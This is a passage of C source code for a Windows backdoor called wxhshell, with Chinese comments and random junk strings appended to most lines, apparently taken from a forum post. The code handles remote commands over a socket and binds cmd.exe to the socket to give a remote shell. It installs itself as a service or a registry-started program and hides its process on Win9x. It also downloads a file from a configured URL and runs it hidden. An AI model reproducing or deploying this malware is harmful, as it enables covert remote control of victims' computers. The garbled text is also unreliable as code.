  else { (tYZq86`  
Z3JUYEAS  
    switch(cmd[0]) { JuSS(dJw  
  J$}]p  
  // 帮助 m\qeYI6,Z  
  case '?': { yx Om=V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0 h A:=r  
    break; 36Lkcda[  
  } X&WP.n)  
  // 安装 Z5Lmg  
  case 'i': { fHd[8{;P:  
    if(Install()) :|n[zjK/S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {.2\}7.c  
    else  2yJ{B   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2VRGTx  
    break; R%KF/1;/  
    } b*Y Wd3  
  // 卸载 @Fc:9a@  
  case 'r': { US$$ADq  
    if(Uninstall()) @dv8 F "v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?JZ$M  
    else >eA@s}_8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wh i#Ii~  
    break; %[|^7  
    } &:l-;7d  
  // 显示 wxhshell 所在路径 `rVru= zoy  
  case 'p': { d/R!x{$-f  
    char svExeFile[MAX_PATH]; I(^0/]'  
    strcpy(svExeFile,"\n\r"); d1/WUKmbZ  
      strcat(svExeFile,ExeFile); by<@\n2B:U  
        send(wsh,svExeFile,strlen(svExeFile),0); ir<e^a  
    break; "`ftcJUd  
    } lQ?jdi  
  // 重启 Wu 0:X*>}p  
  case 'b': { p XXf5adl<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,jRAVt +{N  
    if(Boot(REBOOT)) -Fd&rq:GB(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DURWE,W>  
    else { o#p%IGG`  
    closesocket(wsh); @[lMh9`  
    ExitThread(0); G$f%]A1  
    } 3q'AgiW  
    break; T)gulP  
    } ^Oi L&p;r  
  // 关机 bVUIeX'  
  case 'd': { _f0AV;S:vd  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N#l2wT  
    if(Boot(SHUTDOWN)) '{AB{)1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U1r]e%df)  
    else { w*6b%h%ww  
    closesocket(wsh); 44} 5o  
    ExitThread(0); \<pr28  
    } Jx5`0?  
    break;  ;v.[aq  
    } i#V(oSx  
  // 获取shell Fs~(>w@  
  case 's': { bvtpqI QZ  
    CmdShell(wsh); g$s;;V/8e  
    closesocket(wsh); }>h n  
    ExitThread(0); #Kb /tOp1  
    break; LJ[zF~4#  
  } !vnC-&G  
  // 退出 cR3d& /_,U  
  case 'x': { es*$/A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Dylm=ZZa  
    CloseIt(wsh); F_*']:p  
    break; W q<t+E[  
    } ,Iyc0  
  // 离开 .j:,WF<"l5  
  case 'q': { FPYk`D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tkctwjD  
    closesocket(wsh); /Q3>w-h  
    WSACleanup(); ~W21%T+  
    exit(1); - UkK$wP5  
    break; c;kU|_  
        } m,Y/ke\  
  } ZK]qQrIwy  
  } {J==y;dK  
Bg]VaTm[=  
  // 提示信息 Ow4_0l&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -LiGO#U  
} 4<-Kd~uL  
  } eS!]..%y  
6o^>q&e}%  
  return; -{0Pq.v  
} |E >h*Y  
K+`GVmD  
// shell模块句柄 NTt4sWP!I  
int CmdShell(SOCKET sock) i pn-HUrE@  
{ DDr\Kv)k(  
STARTUPINFO si; VwI  
ZeroMemory(&si,sizeof(si)); .~o{i_JH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eaFkDl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hTDGgSG^  
PROCESS_INFORMATION ProcessInfo; W+i^tmj  
char cmdline[]="cmd"; 9}6_B|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mEJ7e#  
  return 0; hq7f"`  
} G0 EXgq8  
P7-k!p"  
// 自身启动模式 BsFO]F5mmX  
int StartFromService(void) 9:{<:1?  
{ I#MPJ@*WT  
typedef struct fo,0NxF9  
{ Ixn|BCi60A  
  DWORD ExitStatus; ytY\&m  
  DWORD PebBaseAddress; ZhY{,sy?QO  
  DWORD AffinityMask; 0i\>(o  
  DWORD BasePriority; 5}G_2<G  
  ULONG UniqueProcessId; STnMBz7  
  ULONG InheritedFromUniqueProcessId; aLg,-@  
}   PROCESS_BASIC_INFORMATION; 4C`RxQJM  
1;/SXJ s  
PROCNTQSIP NtQueryInformationProcess; ^(TCUY~f&  
J920A^)j!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0HWSdf|w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a Y)vi$;]  
%d+Fq=<  
  HANDLE             hProcess; c \??kQH  
  PROCESS_BASIC_INFORMATION pbi; yc*cT%?g  
9CS" s_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *B3f ry  
  if(NULL == hInst ) return 0; ?c?@j}=?yY  
qR.FjQOvn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C?|sQcCE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }p?,J8=-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l?)>"^  
9\Gk)0  
  if (!NtQueryInformationProcess) return 0; eI ( S)q  
2-'_Nwkl*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >IS4  
  if(!hProcess) return 0; _-vlN  
;:=j{,&dl[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _AF$E"f@  
a>vxox) %  
  CloseHandle(hProcess); 2e\"?yOD  
Yuv=<V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _zDS-e@  
if(hProcess==NULL) return 0; Tp-W/YC  
,C6(  
HMODULE hMod; N[Xm5J  
char procName[255]; +}m`$B}mJ  
unsigned long cbNeeded; @2"uJ6o  
Ct `)R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O h e^{:  
(.$$U3\  
  CloseHandle(hProcess); 5{yg  
}$<v  
if(strstr(procName,"services")) return 1; // 以服务启动 Z><+4 '  
)$p36dWl  
  return 0; // 注册表启动 3_@I E2dA  
} >q;| dn9  
uB+#<F/c  
// 主模块 GOxP{d?  
int StartWxhshell(LPSTR lpCmdLine) OD}Uc+;K  
{ f=91 Z_M  
  SOCKET wsl; Q.$/I+&j  
BOOL val=TRUE; P>q~ocq<  
  int port=0; U>kaQ54/  
  struct sockaddr_in door; (A2ga):Pk  
jk`U7 G*  
  if(wscfg.ws_autoins) Install(); IsT}T}p,t  
Uhvy 2}w  
port=atoi(lpCmdLine); YN)qMI_ `A  
oTvg%bX  
if(port<=0) port=wscfg.ws_port; z@UH[>^gj  
@wD#+Oz  
  WSADATA data; O)^F z:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kR1 12J9P  
]foS.D,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,sj(g/hg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c k[uvH   
  door.sin_family = AF_INET; )P R`irw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V+y|C[A F  
  door.sin_port = htons(port); .Od@i$E>&  
E<LH-_$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V?t*c [  
closesocket(wsl); &u9,|n]O9  
return 1; ipu~T)}  
} A PSkW9H  
,&,XcbJ  
  if(listen(wsl,2) == INVALID_SOCKET) { _H U>T  
closesocket(wsl); {6LS$3}VM  
return 1; !}|'1HIC  
} [GCaRk>b,  
  Wxhshell(wsl); D+AkV|  
  WSACleanup(); !|9@f$Jv  
0xi2VN"X  
return 0; `!X8Cn  
~rrl" a>  
} ]hlQU%&  
xTG5VBv  
// 以NT服务方式启动 S9*68l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KD\%B5Jy  
{ D|Tz{DRG  
DWORD   status = 0; Bs3&y Eq(  
  DWORD   specificError = 0xfffffff; on hLhrZ  
mb_6f:Qh3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DIYR8l}x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "&qAV'U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vx$DKQK@l\  
  serviceStatus.dwWin32ExitCode     = 0; j<WsFVS  
  serviceStatus.dwServiceSpecificExitCode = 0; ,W 'P8C  
  serviceStatus.dwCheckPoint       = 0; L8E4|F}  
  serviceStatus.dwWaitHint       = 0; >`WQxkpy  
- ]/=WAOK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Wt5pK[JV  
  if (hServiceStatusHandle==0) return; Z1$ S(p=)L  
&n?RKcH}d  
status = GetLastError(); Cw!tB1D  
  if (status!=NO_ERROR) "KCG']DF  
{ I=Y_EjZ D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7<:o4\q?m  
    serviceStatus.dwCheckPoint       = 0; #3>jgluM'  
    serviceStatus.dwWaitHint       = 0; d8Cd4qIXX  
    serviceStatus.dwWin32ExitCode     = status; D1ik*mDA=  
    serviceStatus.dwServiceSpecificExitCode = specificError; PXl%"O%d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lRS'M,/  
    return; .LM|@OeaD!  
  } \ %xku:  
a$iDn_{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D0_CDdW%7  
  serviceStatus.dwCheckPoint       = 0; 5%K|dYv^^  
  serviceStatus.dwWaitHint       = 0; non5e)w3@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !mVq+_7]  
} r^E(GmW  
_iA oNT!  
// 处理NT服务事件,比如:启动、停止  `uDOIl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5ld?N2<8/  
{ wU/fGg*M2  
switch(fdwControl) .2|(!a9W  
{ 1TzwXX7  
case SERVICE_CONTROL_STOP: $PlMyLu7jc  
  serviceStatus.dwWin32ExitCode = 0; ;x FB /,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /A>nsN?:]  
  serviceStatus.dwCheckPoint   = 0; av'[k<  
  serviceStatus.dwWaitHint     = 0; # dUi['  
  { Q"!GdKM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lkp$rJ#6  
  } `.~*pT*u  
  return; zDm3 $P=  
case SERVICE_CONTROL_PAUSE: E&"V~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >CcDG  
  break; c[3x>f0  
case SERVICE_CONTROL_CONTINUE: klc$n07  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L[5U(`q[  
  break; &\ad.O/Q  
case SERVICE_CONTROL_INTERROGATE: U.Z5;E0:  
  break; 0Bkc93  
}; 5)rN#_BKj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :Ez*<;pF'  
} }0/l48G  
cl{mRt0  
// 标准应用程序主函数 I !lR 7%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M`9|8f,!a  
{ |<8Fa%!HHc  
VV[Fb9W ;  
// 获取操作系统版本 *6}'bdQbNP  
OsIsNt=GetOsVer(); fG8^|:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ss+  
t,A=B(W  
  // 从命令行安装 g^#,!e  
  if(strpbrk(lpCmdLine,"iI")) Install(); J_<6;#  
X_3hh}=  
  // 下载执行文件 oZL# *Z(h  
if(wscfg.ws_downexe) { "ChJR[4@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lQRtsmZ0  
  WinExec(wscfg.ws_filenam,SW_HIDE); w}97`.Kt!n  
} {XC[Ia6jtL  
@bAu R  
if(!OsIsNt) { E8lq2r=  
// 如果时win9x,隐藏进程并且设置为注册表启动 F[B=sI  
HideProc(); p9MJa[}V  
StartWxhshell(lpCmdLine); '!MKZKer  
} s gZlk9x!Q  
else 6 !Mm")  
  if(StartFromService()) qd'Z|'j  
  // 以服务方式启动 ts,V+cEA  
  StartServiceCtrlDispatcher(DispatchTable); *k?y+}E_f  
else M`* BS  
  // 普通方式启动 cQ`0d3  
  StartWxhshell(lpCmdLine); "d0D8B7HI@  
|WT]s B0Eq  
return 0; & \C1QkI  
}
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只看该作者 1 发表于: 2006-10-10
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